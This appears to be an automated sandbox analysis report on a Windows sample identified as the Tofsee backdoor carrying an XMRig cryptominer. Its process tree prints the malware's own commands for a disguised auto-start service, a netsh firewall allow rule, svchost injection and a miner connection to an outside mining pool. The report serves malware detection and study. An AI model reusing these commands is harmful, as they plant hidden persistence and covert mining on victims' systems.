Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    29/12/2020, 07:32

General

  • Target
    214e60829043f5a0fcc0a88583b019b1.exe
  • Size 154KB
  • Sample201229-naw8bmdpnx
  • SHA256 f4cf0f0987a9ede49bd9de65d7b30a72a232856e1cb7c47d287ca8ba980d43ce
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\214e60829043f5a0fcc0a88583b019b1.exe
    "C:\Users\Admin\AppData\Local\Temp\214e60829043f5a0fcc0a88583b019b1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cwsbvhcw\
      2⤵
        PID:1208
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hjcnucqg.exe" C:\Windows\SysWOW64\cwsbvhcw\
        2⤵
          PID:1232
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cwsbvhcw binPath= "C:\Windows\SysWOW64\cwsbvhcw\hjcnucqg.exe /d\"C:\Users\Admin\AppData\Local\Temp\214e60829043f5a0fcc0a88583b019b1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1580
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description cwsbvhcw "wifi internet conection"
            2⤵
              PID:1084
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start cwsbvhcw
              2⤵
                PID:844
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1032
              • C:\Windows\SysWOW64\cwsbvhcw\hjcnucqg.exe
                C:\Windows\SysWOW64\cwsbvhcw\hjcnucqg.exe /d"C:\Users\Admin\AppData\Local\Temp\214e60829043f5a0fcc0a88583b019b1.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:812
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1728
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1232

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/812-11-0x0000000004F3A000-0x0000000004F3B000-memory.dmp

                    memory/812-13-0x00000000051F0000-0x0000000005201000-memory.dmp

                    memory/1232-20-0x0000000000230000-0x0000000000321000-memory.dmp

                    memory/1232-21-0x0000000000230000-0x0000000000321000-memory.dmp

                    memory/1640-2-0x0000000004EAA000-0x0000000004EAB000-memory.dmp

                    memory/1640-3-0x0000000004F90000-0x0000000004FA1000-memory.dmp

                    memory/1728-14-0x00000000000C0000-0x00000000000D5000-memory.dmp

                    memory/1728-17-0x0000000001C60000-0x0000000001E6F000-memory.dmp

                    memory/1728-18-0x0000000000290000-0x0000000000296000-memory.dmp

                    memory/1728-19-0x00000000002B0000-0x00000000002C0000-memory.dmp